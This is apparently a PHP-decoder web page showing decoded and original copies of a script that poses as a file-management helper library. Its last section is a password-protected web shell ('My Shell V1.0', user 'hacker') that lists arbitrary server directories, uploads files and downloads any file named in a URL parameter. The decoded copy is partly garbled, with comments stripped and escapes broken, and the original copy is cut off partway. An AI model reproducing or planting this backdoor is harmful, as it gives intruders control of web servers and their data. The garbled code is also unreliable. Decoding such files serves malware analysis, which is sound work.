Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* * @link * @author * @copyright * @license */ /** * filesize(),file_exists..

Decoded Output download

<?php
/*
* @link 
* @author 
* @copyright
* @license
*/

/**
 * 				filesize(),file_exists(),pathinfo(),rname(),unlink(),filemtime(),is_readable(),is_wrieteable();
 * 		file_info($file_name)
 * 		path_info($dir)
 * 		path_info_more($dir,&$file_num=0,&$path_num=0,&$size=0)
 * 	path_list($dir)
 * []		get_path_this($path)
 * 			get_path_father($path)
 * 				del_file($file)
 * 			del_dir($dir)
 * 			copy_dir($source, $dest)
 * 				mk_dir($dir, $mode = 0777)
 * 			size_format($bytes, $precision = 2)
 * 		path_is_absolute( $path ) 
 * 		ext_type($ext)
 * 				file_download($file) 
 * 		file_download_this($from, $file_name)
 * ()		get_mode($file)  //rwx_rwx_rwx []
 * ()	upload($fileInput, $path = './');//
 * 			get_config($file, $ini, $type="string")
 * 			update_config($file, $ini, $value,$type="string")
 * LOG_PATH		write_log('dd','default|..','log|error|warning|debug|info|db')
 */

// 
// 
//
//
$config['pic_thumb']	= BASIC_PATH.'data/thumb/';		// 
$config['cache_dir']	= BASIC_PATH.'data/cache/';		// 
$config['app_startTime'] = mtime();         			//
$config['password'] = '81d350d4d0d7ea5979987da0b5952d72'; //kntan 's md5


//
$config['app_charset']	 ='utf-8';			//
$config['check_charset'] = 'ASCII,UTF-8,GBK';//
//when edit a file ;check charset and auto converto utf-8;
if (strtoupper(substr(PHP_OS, 0,3)) === 'WIN') {
	$config['system_os']='windows';
	$config['system_charset']='gbk';//user set your server system charset
} else {
	$config['system_os']='linux';
	$config['system_charset']='utf-8';
}

/**
 * 
 */
function mtime(){
	$t= explode(' ',microtime());
	$time = $t[0]+$t[1];
	return $time;
}

function iconv_app($str){
	global $config;
	$result = iconv($config['system_charset'], $config['app_charset'], $str);
	if (strlen($result)==0) {
		$result = $str;
	}
	return $result;
}
function iconv_system($str){
	global $config;
	$result = iconv($config['app_charset'], $config['system_charset'], $str);
	if (strlen($result)==0) {
		$result = $str;
	}
	return $result;
}

function get_filesize($path){
	return abs(sprintf("%u",filesize($path)));
}
/**
 * 
 * ,utf8gbk
 */
function file_info($path){
	$name = get_path_this($path);
	$size = get_filesize($path);
	$info = array(
		'name'			=> iconv_app($name),
		'path'			=> iconv_app(get_path_father($path)),
		'ext'			=> get_path_ext($path),
		'type' 			=> 'file',
		'mode'			=> get_mode($path),
		'atime'			=> fileatime($path), //
		'ctime'			=> filectime($path), //
		'mtime'			=> filemtime($path), //
		'is_readable'	=> intval(is_readable($path)),
		'is_writeable'	=> intval(is_writeable($path)),
		'size'			=> $size,
		'size_friendly'	=> size_format($size, 2)
	);
	return $info;
}
/**
 * 
 */
function folder_info($path){
	$info = array(
		'name'			=> iconv_app(get_path_this($path)),
		'path'			=> iconv_app(get_path_father($path)),
		'type' 			=> 'folder',
		'mode'			=> get_mode($path),
		'atime'			=> fileatime($path), //
		'ctime'			=> filectime($path), //
		'mtime'			=> filemtime($path), //		
		'is_readable'	=> intval(is_readable($path)),
		'is_writeable'	=> intval(is_writeable($path))
	);
	return $info;
}


/**
 * (&) []
 * test/11/ ==>11 test/1.c  ==>1.c
 */
function get_path_this($path){
    $path = str_replace('\','/', rtrim(trim($path),'/'));
    return substr($path,strrpos($path,'/')+1);
} 
/**
 * (&) 
 * /test/11/==>/test/   /test/1.c ==>/www/test/
 */
function get_path_father($path){
    $path = str_replace('\','/', rtrim(trim($path),'/'));
    return substr($path, 0, strrpos($path,'/')+1);
}
/**
 * 
 */
function get_path_ext($path){
    $name = get_path_this($path);
    $ext = '';
    if(strstr($name,'.')){
        $ext = substr($name,strrpos($name,'.')+1);
        $ext = strtolower($ext);
    }
    if (strlen($ext)>3 && preg_match("/([-][@-])/", $ext, $match)) {
        $ext = '';
    }
    return $ext;
}



//()
//$file_add   a.txt a{$file_add}.txt
function get_filename_auto($path,$file_add){
	$i=1;
	$father = get_path_father($path);
	$name =  get_path_this($path);
	$ext = get_path_ext($name);
	if (strlen($ext)>0) {
		$ext='.'.$ext;
		$name = substr($name,0,strlen($name)-strlen($ext));
	}
	while(file_exists($path)){
		if (isset($file_add) && $file_add != '') {
			$path = $father.$name.$file_add.$ext;
			$file_add.'-';
		}else{
			$path = $father.$name.'('.$i.')'.$ext;
			$i++;
		}		
	}
	return $path;
}

/**
 * 
 */
function path_writable($path) {	
	$file = $path.'/test'.time().'.txt';
	$dir  = $path.'/test'.time();
	if(@is_writable($path) && @touch($file) && @unlink($file)) return true;
	if(@mkdir($dir,0777) && @rmdir($dir)) return true;
	return false;
}

/**
 * ,
 */
function path_info($path){
	//if (!is_dir($path)) return false;
	$pathinfo = _path_info_more($path);//
	$folderinfo = folder_info($path);
	return array_merge($pathinfo,$folderinfo);
}

/**
 * 
 */
function path_check($path){
	$check = array('/','\',':','*','?','"','<','>','|');
	$path = rtrim($path,'/');
	$path = get_path_this($path);
	foreach ($check as $v) {
		if (strstr($path,$v)) {
			return false;
		}
	}
	return true;
}

/**
 *  
 */
function _path_info_more($dir, &$file_num = 0, &$path_num = 0, &$size = 0){
	if (!$dh = opendir($dir)) return false;
	while (($file = readdir($dh)) !== false) {
		if ($file != "." && $file != "..") {
			$fullpath = $dir . "/" . $file;
			if (!is_dir($fullpath)) {
				$file_num ++;
				$size += get_filesize($fullpath);
			} else {
				_path_info_more($fullpath, $file_num, $path_num, $size);
				$path_num ++;
			} 
		} 
	} 
	closedir($dh);
	$pathinfo['file_num'] = $file_num;
	$pathinfo['folder_num'] = $path_num;
	$pathinfo['size'] = $size;
	$pathinfo['size_friendly'] = size_format($size);
	return $pathinfo;
} 


/**
 * ,
 */
function path_info_muti($list,$time_type){
	if (count($list) == 1) {
		if ($list[0]['type']=="folder"){
	        return path_info($list[0]['path'],$time_type);
	    }else{
	        return file_info($list[0]['path'],$time_type);
	    }
	}
	$pathinfo = array(
		'file_num'		=> 0,
		'folder_num'	=> 0,
		'size'			=> 0,
		'size_friendly'	=> '',
		'father_name'	=> '',
		'mod'			=> ''
	);
	foreach ($list as $val){
		if ($val['type'] == 'folder') {
			$pathinfo['folder_num'] ++;
			$temp = path_info($val['path']);
			$pathinfo['folder_num']	+= $temp['folder_num'];
			$pathinfo['file_num']	+= $temp['file_num'];
			$pathinfo['size'] 		+= $temp['size'];
		}else{
			$pathinfo['file_num']++;
			$pathinfo['size'] += get_filesize($val['path']);
		}
	}
	$pathinfo['size_friendly'] = size_format($pathinfo['size']);
	$father_name = get_path_father($list[0]['path']);
	$pathinfo['mode'] = get_mode($father_name);
	return $pathinfo;
}

/** 
 * 
 * dir /   d:/wwwroot/test/
 * ,
 */
function path_list($dir,$list_file=true,$check_children=false){
	$dir = rtrim($dir,'/').'/';
	if (!is_dir($dir) || !($dh = opendir($dir))){
		return array('folderlist'=>array(),'filelist'=>array());
	}
	$folderlist = array();$filelist = array();//
	while (($file = readdir($dh)) !== false) {
		if ($file != "." && $file != ".." && $file != ".svn" ) {
			$fullpath = $dir . $file;
			if (is_dir($fullpath)) {
				$info = folder_info($fullpath);
				if($check_children){
					$info['isParent'] = path_haschildren($fullpath,$list_file);
				}
				$folderlist[] = $info;
			} else if($list_file) {//
				$info = file_info($fullpath);
				if($check_children) $info['isParent'] = false;
				$filelist[] = $info;
			}
		}
	}
	closedir($dh);
	return array('folderlist' => $folderlist,'filelist' => $filelist);
}

// 
function path_haschildren($dir,$check_file=false){
	$dir = rtrim($dir,'/').'/';
	if (!$dh = @opendir($dir)) return false;
	while (($file = readdir($dh)) !== false){
		if ($file != "." && $file != "..") {
			$fullpath = $dir.$file;
			if ($check_file) {//
				if(is_dir($fullpath.'/') || is_file($fullpath)) return true;
			}else{//
				if(is_dir($fullpath.'/')) return true;
			}
		} 
	} 	
	closedir($dh);
	return false;
}

/**
 *  . win--gbk
 */
function del_file($fullpath){
	if (!@unlink($fullpath)) { // 
		@chmod($fullpath, 0777);
		if (!@unlink($fullpath)) {
			return false;
		} 
	} else {
		return true;
	}
} 

/**
 *  . win--gbk
 */
function del_dir($dir){
	if (!$dh = opendir($dir)) return false;
	while (($file = readdir($dh)) !== false) {
		if ($file != "." && $file != "..") {
			$fullpath = $dir . '/' . $file;
			if (!is_dir($fullpath)) {
				if (!unlink($fullpath)) { // 
					chmod($fullpath, 0777);
					if (!unlink($fullpath)) {
						return false;
					} 
				} 
			} else {
				if (!del_dir($fullpath)) {
					chmod($fullpath, 0777);
					if (!del_dir($fullpath)) return false;
				} 
			} 
		} 
	}
	closedir($dh);
	if (rmdir($dir)) {
		return true;
	} else {
		return false;
	} 
} 

/**
 *  
 * eg:D:/wwwroot/wordpress
 *	D:/wwwroot/www/explorer/0000/del/1/
 * 
 * wordpressD:/wwwroot/www/explorer/0000/del/1/
 * $from = 'D:/wwwroot/wordpress';
 * $to = 'D:/wwwroot/www/explorer/0000/del/1/wordpress';
 */

function copy_dir($source, $dest){
	if (!$dest) return false;
	if ($source == substr($dest,0,strlen($source))) return;//
	$result = false;
	if (is_file($source)) {
		if ($dest[strlen($dest)-1] == '/') {
			$__dest = $dest . "/" . basename($source);
		} else {
			$__dest = $dest;
		} 
		$result = copy($source, $__dest); 
		chmod($__dest, 0777);
	}elseif (is_dir($source)) {
		if ($dest[strlen($dest)-1] == '/') {
			$dest = $dest . basename($source);
			mkdir($dest, 0777);
		} else {
			mkdir($dest, 0777);
		}
		if (!$dh = opendir($source)) return false;
		while (($file = readdir($dh)) !== false) {
			if ($file != "." && $file != "..") {
				if (!is_dir($source . "/" . $file)) {
					$__dest = $dest . "/" . $file;
				} else {
					$__dest = $dest . "/" . $file;
				} 
				$result = copy_dir($source . "/" . $file, $__dest);
			} 
		} 
		closedir($dh);
	}
	return $result;
} 

/**
 * 
 * 
 * @param string $dir 
 * @param int $mode 
 * @return bool 
 */
function mk_dir($dir, $mode = 0777){
	if (is_dir($dir) || mkdir($dir, $mode))
		return true;
	if (!mk_dir(dirname($dir), $mode))
		return false;		
	return mkdir($dir, $mode);
}

/*
* &()
* path :  $dir array files array 
* $deepest $deep 
*/
function recursion_dir($path,&$dir,&$file,$deepest=-1,$deep=0){
	$path = rtrim($path,'/').'/';
	if (!is_array($file)) $file=array();
	if (!is_array($dir)) $dir=array();
	if (!$dh = opendir($path)) return false;
	while(($val=readdir($dh)) !== false){
		if ($val=='.' || $val=='..') continue;
		$value = strval($path.$val);
		if (is_file($value)){
			$file[] = $value;
		}else if(is_dir($value)){
			$dir[]=$value;
			if ($deepest==-1 || $deep<$deepest){
				recursion_dir($value."/",$dir,$file,$deepest,$deep+1);
			}
		}
	}
	closedir($dh);
	return true;
}
/*
 * $search  
 * is_content ;
 * is_case  ,
 */
function path_search($path,$search,$is_content=false,$file_ext='',$is_case=false){
	$ext_arr=explode("|",$file_ext);
	recursion_dir($path,$dirs,$files,-1,0);
	$strpos = 'stripos';//
	if ($is_case) $strpos = 'strpos';
	
	$filelist = array();
	$folderlist = array();
	foreach($files as $f){
		$ext = get_path_ext($f);
		$path_this = get_path_this($f);
		if ($file_ext !='' && !in_array($ext,$ext_arr)) continue;//
		if ($strpos($path_this,$search) !== false){//;
			$filelist[] = file_info($f);
			continue;
		}
		if ($is_content && is_file($f)){
			$fp = fopen($f, "r");
			$content = @fread($fp,get_filesize($f));
			fclose($fp);
			if ($strpos($content,iconv_app($search)) !== false){
				$filelist[] = file_info($f);
			}
		}
	}
	if ($file_ext == '') {//
		foreach($dirs as $f){
			$path_this = get_path_this($f);
			if ($strpos($path_this,$search) !== false){
				$folderlist[]= array(
					'name'  => iconv_app(get_path_this($f)),
					'path'  => iconv_app(get_path_father($f))			
				);
			}
		}
	}
	return array('folderlist' => $folderlist,'filelist' => $filelist);
}

/**
 * 
 * @param  $path ()
 * @return :string
 */
function chmod_path($path,$mod){
	//$mod = 0777;//
	if (!isset($mod)) $mod = 0777;
	if (!is_dir($path)) return chmod($path,$mod);
	if (!$dh = opendir($path)) return false;
	while (($file = readdir($dh)) !== false){
		if ($file != "." && $file != "..") {
			$fullpath = $path . '/' . $file;
			return chmod_path($fullpath,$mod);
		} 
	}
	closedir($dh);
	return chmod($path,$mod);
} 

/**
 * 
 * 
 * @param  $ :$bytes, int 
 * @param  $ :$precision int  
 * @return :string
 */
function size_format($bytes, $precision = 2){
	if ($bytes == 0) return "0 B";
	$unit = array(
		'TB' => 1099511627776,  // pow( 1024, 4)
		'GB' => 1073741824,		// pow( 1024, 3)
		'MB' => 1048576,		// pow( 1024, 2)
		'kB' => 1024,			// pow( 1024, 1)
		'B ' => 1,				// pow( 1024, 0)
	);
	foreach ($unit as $un => $mag) {
		if (doubleval($bytes) >= $mag)
			return round($bytes / $mag, $precision).' '.$un;
	} 
} 

/**
 * 
 * true('/foo/bar','c:\windows').
 * 
 * @return true
 */
function path_is_absolute($path){
	if (realpath($path) == $path)// *nux  /home/my
		return true;
	if (strlen($path) == 0 || $path[0] == '.')
		return false;
	if (preg_match('#^[a-zA-Z]:\\#', $path))// windows  c:aa		return true;
	return (bool)preg_match('#^[/\\]#', $path); //  /  \u7edd
} 

/**
 * 
 * 
 * @param  $ :$ext string 
 * @return :string;
 */
function ext_type($ext){
	$ext2type = array(
		'text' => array('txt','ini','log','asc','csv','tsv','vbs','bat','cmd','inc','conf','inf'),
		'code'		=> array('css','htm','html','php','js','c','cpp','h','java','cs','sql','xml'),
		'picture'	=> array('jpg','jpeg','png','gif','ico','bmp','tif','tiff','dib','rle'),
		'audio'		=> array('mp3','ogg','oga','mid','midi','ram','wav','wma','aac','ac3','aif','aiff','m3a','m4a','m4b','mka','mp1','mx3','mp2'),
		'flash'		=> array('swf'),
		'video'		=> array('rm','rmvb','flv','mkv','wmv','asf','avi','aiff','mp4','divx','dv','m4v','mov','mpeg','vob','mpg','mpv','ogm','ogv','qt'),
		'document'	=> array('doc','docx','docm','dotm','odt','pages','pdf','rtf','xls','xlsx','xlsb','xlsm','ppt','pptx','pptm','odp'),
		'rar_achieve'	=> array('rar','arj','tar','ace','gz','lzh','uue','bz2'),
		'zip_achieve'	=> array('zip','gzip','cab','tbz','tbz2'),
		'other_achieve' => array('dmg','sea','sit','sqx')
	);
	foreach ($ext2type as $type => $exts) {
		if (in_array($ext, $exts)) {
			return $type;
		} 
	} 
} 

/**
 * 
 * $downloadfalse
 */
function file_put_out($file,$download=false){
	if (!is_file($file)) print('not a file!');
	set_time_limit(0); 
	//ob_clean();//
	if (!file_exists($file)) print('file not exists');
	if (isset($_SERVER['HTTP_RANGE']) && ($_SERVER['HTTP_RANGE'] != "") && 
		preg_match("/^bytes=([0-9]+)-$/i", $_SERVER['HTTP_RANGE'], $match) && ($match[1] < $fsize)) { 
		$start = $match[1];
	}else{
		$start = 0;
	}
	$size = get_filesize($file);
	header("Cache-Control: public");
	header("X-Powered-By: HackExplorer.");
	if ($download) {
		header("Content-Type: application/octet-stream");
		$filename = $file;//IE
		if(preg_match('/MSIE/',$_SERVER['HTTP_USER_AGENT'])){
			$filename = str_replace('+','%20',urlencode($filename));
		}
		header("Content-Disposition: attachment;filename=".$filename);
	}else{
		$mime = get_file_mime(get_path_ext($file));
		header("Content-Type: ".$mime);
	}
	if ($start > 0){
		header("HTTP/1.1 206 Partial Content");
		header("Content-Ranges: bytes".$start ."-".($size - 1)."/" .$size);
		header("Content-Length: ".($size - $start));		
	}else{
		header("Accept-Ranges: bytes");
		header("Content-Length: $size");
	}

	$fp = fopen($file, "rb");
	fseek($fp, $start);
	while (!feof($fp)) {
		print (fread($fp, 1024 * 8)); //  
		flush(); 
		ob_flush();  
	}  
	fclose($fp);
}

/**
 * 
 */
function file_download_this($from, $file_name){
	set_time_limit(0);
	$fp = @fopen ($from, "rb");
	if ($fp){
		$new_fp = @fopen ($file_name, "wb");
		fclose($new_fp);

		$temp_file = $file_name.'.download';
		$download_fp = @fopen ($temp_file, "wb");
		while(!feof($fp)){
			if(!file_exists($file_name)){//
				fclose($download_fp);
				del_file($temp_file);
				del_file($file_name);
				return false;
			}
			fwrite($download_fp, fread($fp, 1024 * 8 ), 1024 * 8);
		}
		//
		del_file($file_name);
		rename($temp_file,$file_name);
		return true;
	}else{
		return false;
	}	
}

/**
 * () rwx_rwx_rwx
 */
function get_mode($file){
	$Mode = fileperms($file);
	$theMode = ' '.decoct($Mode);
	$theMode = substr($theMode,-4);
	$Owner = array();$Group=array();$World=array();
	if ($Mode &0x1000) $Type = 'p'; // FIFO pipe
	elseif ($Mode &0x2000) $Type = 'c'; // Character special
	elseif ($Mode &0x4000) $Type = 'd'; // Directory
	elseif ($Mode &0x6000) $Type = 'b'; // Block special
	elseif ($Mode &0x8000) $Type = '-'; // Regular
	elseif ($Mode &0xA000) $Type = 'l'; // Symbolic Link
	elseif ($Mode &0xC000) $Type = 's'; // Socket
	else $Type = 'u'; // UNKNOWN 
	// Determine les permissions par Groupe
	$Owner['r'] = ($Mode &00400) ? 'r' : '-';
	$Owner['w'] = ($Mode &00200) ? 'w' : '-';
	$Owner['x'] = ($Mode &00100) ? 'x' : '-';
	$Group['r'] = ($Mode &00040) ? 'r' : '-';
	$Group['w'] = ($Mode &00020) ? 'w' : '-';
	$Group['e'] = ($Mode &00010) ? 'x' : '-';
	$World['r'] = ($Mode &00004) ? 'r' : '-';
	$World['w'] = ($Mode &00002) ? 'w' : '-';
	$World['e'] = ($Mode &00001) ? 'x' : '-'; 
	// Adjuste pour SUID, SGID et sticky bit
	if ($Mode &0x800) $Owner['e'] = ($Owner['e'] == 'x') ? 's' : 'S';
	if ($Mode &0x400) $Group['e'] = ($Group['e'] == 'x') ? 's' : 'S';
	if ($Mode &0x200) $World['e'] = ($World['e'] == 'x') ? 't' : 'T';
	$Mode = $Type.$Owner['r'].$Owner['w'].$Owner['x'].' '.
			$Group['r'].$Group['w'].$Group['e'].' '.
			$World['r'].$World['w'].$World['e'];
	return $Mode.' ('.$theMode.') ';
} 

/**
 * 
 * return * byte
 */
function get_post_max(){
	$upload = ini_get('upload_max_filesize');
	$upload = $upload==''?ini_get('upload_max_size'):$upload;
    $post = ini_get('post_max_size');
	$upload = intval($upload)*1024*1024;
	$post = intval($post)*1024*1024;
	return $upload<$post?$upload:$post;
}

/**
 * ,
 * demo
 * upload('file','D:/www/');
 */
function upload($fileInput, $path = './'){
	global $config,$L;
	$file = $_FILES[$fileInput];
	if (!isset($file)) show_json($L['upload_error_null'],false);
	
	$file_name = iconv_system($file['name']);
	$save_path = get_filename_auto($path.$file_name);
	if(move_uploaded_file($file['tmp_name'],$save_path)){
		show_json($L['upload_success'],true,iconv_app($save_pathe));
	}else {
		show_json($L['move_error'],false);
	}
}

//
function upload_chunk($fileInput, $path = './',$temp_path){
	global $config,$L;
	$file = $_FILES[$fileInput];
	$chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0;
	$chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 1;
	if (!isset($file)) show_json($L['upload_error_null'],false);
	$file_name = iconv_system($file['name']);

	if ($chunks>1) {//
		$temp_file_pre = $temp_path.md5($temp_path.$file_name).'.part';
		if (get_filesize($file['tmp_name']) ==0) {
			show_json($L['upload_success'],false,'chunk_'.$chunk.' error!');
		}
		if(move_uploaded_file($file['tmp_name'],$temp_file_pre.$chunk)){
			$done = true;
			for($index = 0; $index<$chunks; $index++ ){
			    if (!file_exists($temp_file_pre.$index)) {
			        $done = false;
			        break;
			    }
			}
			if (!$done){				
				show_json($L['upload_success'],true,'chunk_'.$chunk.' success!');
			}

			$save_path = $path.$file_name;
			$out = fopen($save_path, "wb");
			if ($done && flock($out, LOCK_EX)) {
		        for( $index = 0; $index < $chunks; $index++ ) {
		            if (!$in = fopen($temp_file_pre.$index,"rb")) break;
		            while ($buff = fread($in, 4096)) {
		                fwrite($out, $buff);
		            }
		            fclose($in);
		            unlink($temp_file_pre.$index);
		        }
		        flock($out, LOCK_UN);
			    fclose($out);
			}
			show_json($L['upload_success'],true,iconv_app($save_path));
		}else {
			show_json($L['move_error'],false);
		}
	}

	//
	$save_path = get_filename_auto($path.$file_name); //
	if(move_uploaded_file($file['tmp_name'],$save_path)){
		show_json($L['upload_success'],true,iconv_app($save_path));
	}else {
		show_json($L['move_error'],false);
	}
}

/**
 * 
 * @param string $log   
 * @param string $type   [system|app|...]
 * @param string $level 
 * @return boolean
 */
function write_log($log, $type = 'default', $level = 'log'){
	$now_time = date('[y-m-d H:i:s]');
	$now_day  = date('Y_m_d');
	// 
	$target   = LOG_PATH . strtolower($type) . '/';
	mk_dir($target, 0777);
	if (! is_writable($target)) exit('path can not write!');
	switch($level){// 
		case 'error':	$target .= 'Error_' . $now_day . '.log';break;
		case 'warning':	$target .= 'Warning_' . $now_day . '.log';break;
		case 'debug':	$target .= 'Debug_' . $now_day . '.log';break;
		case 'info':	$target .= 'Info_' . $now_day . '.log';break;
		case 'db':		$target .= 'Db_' . $now_day . '.log';break;
		default:		$target .= 'Log_' . $now_day . '.log';break;
	}
	//, 
	if (file_exists($target) && get_filesize($target) <= 100000) {
		$file_name = substr(basename($target),0,strrpos(basename($target),'.log')).'.log';
		rename($target, dirname($target) .'/'. $file_name);
	}
	clearstatcache();
	return error_log("$now_time $log
", 3, $target);
}

/**
 *
 * unix ./test/test1 ====> test/test1
 * windows ./test/test1 ===> test/	est1
 *
 * */

function platform_name($name){
	global $config;
	if($config['system_os']=='windows')
	{
		$name = trim($name,".");
		$name = str_replace("/","\",$name);
	}else{
		$name = trim($name,".");
	}
	return $name;
}



echo "My Shell V1.0";
echo "<p>";
echo "
<html>
<body>
<form  method=\"post\">
Password: <input type=\"password\" name=\"pass\">
<input type=\"submit\" value=\"login\">
</form>
</body>
</html>
";

session_start();
if(isset($_POST['pass'])){
	if(md5($_POST['pass'])!=$config['password']){
		echo "fuck to password is wrong!";
	}else{
		$_SESSION['user'] = "hacker";
	}
}
if (isset($_SESSION['user']) && !empty($_SESSION['user'])) {
	ob_clean();
	header("content-type:text/html;charset=utf-8");
	echo "Wellcome " .$_SESSION['user'];
	echo "                                            ";
	echo "<a href=?op=exit>Exit click here!</a>";

	echo "<p>";
	echo PHP_OS;
	echo "<p>";

	echo "
	<form  method=\"post\" enctype=\"multipart/form-data\">
	<text >
	<input type=\"file\" name=\"upfile\"/><br/>
	<input type=\"submit\" value=\"upload\"/>
	</form> ";

	if(isset($_FILES['upfile'])){
		$upfile = $_FILES['upfile'];
		$dest="./".$upfile['name'];
		print $dest;
		if(!move_uploaded_file($upfile['tmp_name'],$dest)){
			print "<p> error to upload is your file to big?";
		}
	}

	$op = $_GET['op'];
	if($op==='exit'){
		session_destroy();
		unset($_SESSION['user']);
		ob_clean();
		echo "<a href=?op=login>Logout Ok!Click here to login in!</a>";
	}else if($op==='down'){
		echo "start download";
		$dfilename = $_GET['dname'];
		file_put_out($dfilename,true);

	}else{
	$folder_name = $_GET['folder_name'];
	if($folder_name == ""){
		$file_list = path_list("./");
	}else{
		$file_list = path_list(sprintf("%s",$folder_name));
	}	
	$folders = $file_list['folderlist'];
	print sprintf("<p> <a href=%s?folder_name=%s>%s</a>", $_SERVER['PHP_SELF'],$folder_name."/.",".");
	print sprintf("<p> <a href=%s?folder_name=%s>%s</a>", $_SERVER['PHP_SELF'],$folder_name."/..","..");
	for($i=0;$i<count($folders);$i++)
	{
		$links=sprintf("<p> <a href=%s?folder_name=%s%s>%s</a>", $_SERVER['PHP_SELF'],$folders[$i]['path'],$folders[$i]['name'],$folders[$i]['name']);
		print($links);
	}

	echo "</p>";

	$files = $file_list['filelist'];

	for($i=0;$i<count($files);$i++)
	{
		$links=sprintf("<p> <a href=%s>%s</a> %s %s   <a href=?op=down&dname=%s>down</a>", sprintf("%s%s",$files[$i]['path'],$files[$i]['name']),
			$files[$i]['name'],$files[$i]['size_friendly'],$files[$i]['mode'],$files[$i]['name']);
		print($links);
	}
	echo "<p>";
	print dirname(__FILE__).platform_name($folder_name);
	}
}




 ?>

Did this file decode correctly?

Original Code

<?php
/*
* @link 
* @author 
* @copyright
* @license
*/

/**
 * 				filesize(),file_exists(),pathinfo(),rname(),unlink(),filemtime(),is_readable(),is_wrieteable();
 * 		file_info($file_name)
 * 		path_info($dir)
 * 		path_info_more($dir,&$file_num=0,&$path_num=0,&$size=0)
 * 	path_list($dir)
 * []		get_path_this($path)
 * 			get_path_father($path)
 * 				del_file($file)
 * 			del_dir($dir)
 * 			copy_dir($source, $dest)
 * 				mk_dir($dir, $mode = 0777)
 * 			size_format($bytes, $precision = 2)
 * 		path_is_absolute( $path ) 
 * 		ext_type($ext)
 * 				file_download($file) 
 * 		file_download_this($from, $file_name)
 * ()		get_mode($file)  //rwx_rwx_rwx []
 * ()	upload($fileInput, $path = './');//
 * 			get_config($file, $ini, $type="string")
 * 			update_config($file, $ini, $value,$type="string")
 * LOG_PATH		write_log('dd','default|..','log|error|warning|debug|info|db')
 */

// 
// 
//
//
$config['pic_thumb']	= BASIC_PATH.'data/thumb/';		// 
$config['cache_dir']	= BASIC_PATH.'data/cache/';		// 
$config['app_startTime'] = mtime();         			//
$config['password'] = '81d350d4d0d7ea5979987da0b5952d72'; //kntan 's md5


//
$config['app_charset']	 ='utf-8';			//
$config['check_charset'] = 'ASCII,UTF-8,GBK';//
//when edit a file ;check charset and auto converto utf-8;
if (strtoupper(substr(PHP_OS, 0,3)) === 'WIN') {
	$config['system_os']='windows';
	$config['system_charset']='gbk';//user set your server system charset
} else {
	$config['system_os']='linux';
	$config['system_charset']='utf-8';
}

/**
 * 
 */
function mtime(){
	$t= explode(' ',microtime());
	$time = $t[0]+$t[1];
	return $time;
}

function iconv_app($str){
	global $config;
	$result = iconv($config['system_charset'], $config['app_charset'], $str);
	if (strlen($result)==0) {
		$result = $str;
	}
	return $result;
}
function iconv_system($str){
	global $config;
	$result = iconv($config['app_charset'], $config['system_charset'], $str);
	if (strlen($result)==0) {
		$result = $str;
	}
	return $result;
}

function get_filesize($path){
	return abs(sprintf("%u",filesize($path)));
}
/**
 * 
 * ,utf8gbk
 */
function file_info($path){
	$name = get_path_this($path);
	$size = get_filesize($path);
	$info = array(
		'name'			=> iconv_app($name),
		'path'			=> iconv_app(get_path_father($path)),
		'ext'			=> get_path_ext($path),
		'type' 			=> 'file',
		'mode'			=> get_mode($path),
		'atime'			=> fileatime($path), //
		'ctime'			=> filectime($path), //
		'mtime'			=> filemtime($path), //
		'is_readable'	=> intval(is_readable($path)),
		'is_writeable'	=> intval(is_writeable($path)),
		'size'			=> $size,
		'size_friendly'	=> size_format($size, 2)
	);
	return $info;
}
/**
 * 
 */
function folder_info($path){
	$info = array(
		'name'			=> iconv_app(get_path_this($path)),
		'path'			=> iconv_app(get_path_father($path)),
		'type' 			=> 'folder',
		'mode'			=> get_mode($path),
		'atime'			=> fileatime($path), //
		'ctime'			=> filectime($path), //
		'mtime'			=> filemtime($path), //		
		'is_readable'	=> intval(is_readable($path)),
		'is_writeable'	=> intval(is_writeable($path))
	);
	return $info;
}


/**
 * (&) []
 * test/11/ ==>11 test/1.c  ==>1.c
 */
function get_path_this($path){
    $path = str_replace('\\','/', rtrim(trim($path),'/'));
    return substr($path,strrpos($path,'/')+1);
} 
/**
 * (&) 
 * /test/11/==>/test/   /test/1.c ==>/www/test/
 */
function get_path_father($path){
    $path = str_replace('\\','/', rtrim(trim($path),'/'));
    return substr($path, 0, strrpos($path,'/')+1);
}
/**
 * 
 */
function get_path_ext($path){
    $name = get_path_this($path);
    $ext = '';
    if(strstr($name,'.')){
        $ext = substr($name,strrpos($name,'.')+1);
        $ext = strtolower($ext);
    }
    if (strlen($ext)>3 && preg_match("/([\x81-\xfe][\x40-\xfe])/", $ext, $match)) {
        $ext = '';
    }
    return $ext;
}



//()
//$file_add   a.txt a{$file_add}.txt
function get_filename_auto($path,$file_add){
	$i=1;
	$father = get_path_father($path);
	$name =  get_path_this($path);
	$ext = get_path_ext($name);
	if (strlen($ext)>0) {
		$ext='.'.$ext;
		$name = substr($name,0,strlen($name)-strlen($ext));
	}
	while(file_exists($path)){
		if (isset($file_add) && $file_add != '') {
			$path = $father.$name.$file_add.$ext;
			$file_add.'-';
		}else{
			$path = $father.$name.'('.$i.')'.$ext;
			$i++;
		}		
	}
	return $path;
}

/**
 * 
 */
function path_writable($path) {	
	$file = $path.'/test'.time().'.txt';
	$dir  = $path.'/test'.time();
	if(@is_writable($path) && @touch($file) && @unlink($file)) return true;
	if(@mkdir($dir,0777) && @rmdir($dir)) return true;
	return false;
}

/**
 * ,
 */
function path_info($path){
	//if (!is_dir($path)) return false;
	$pathinfo = _path_info_more($path);//
	$folderinfo = folder_info($path);
	return array_merge($pathinfo,$folderinfo);
}

/**
 * 
 */
function path_check($path){
	$check = array('/','\\',':','*','?','"','<','>','|');
	$path = rtrim($path,'/');
	$path = get_path_this($path);
	foreach ($check as $v) {
		if (strstr($path,$v)) {
			return false;
		}
	}
	return true;
}

/**
 *  
 */
function _path_info_more($dir, &$file_num = 0, &$path_num = 0, &$size = 0){
	if (!$dh = opendir($dir)) return false;
	while (($file = readdir($dh)) !== false) {
		if ($file != "." && $file != "..") {
			$fullpath = $dir . "/" . $file;
			if (!is_dir($fullpath)) {
				$file_num ++;
				$size += get_filesize($fullpath);
			} else {
				_path_info_more($fullpath, $file_num, $path_num, $size);
				$path_num ++;
			} 
		} 
	} 
	closedir($dh);
	$pathinfo['file_num'] = $file_num;
	$pathinfo['folder_num'] = $path_num;
	$pathinfo['size'] = $size;
	$pathinfo['size_friendly'] = size_format($size);
	return $pathinfo;
} 


/**
 * ,
 */
function path_info_muti($list,$time_type){
	if (count($list) == 1) {
		if ($list[0]['type']=="folder"){
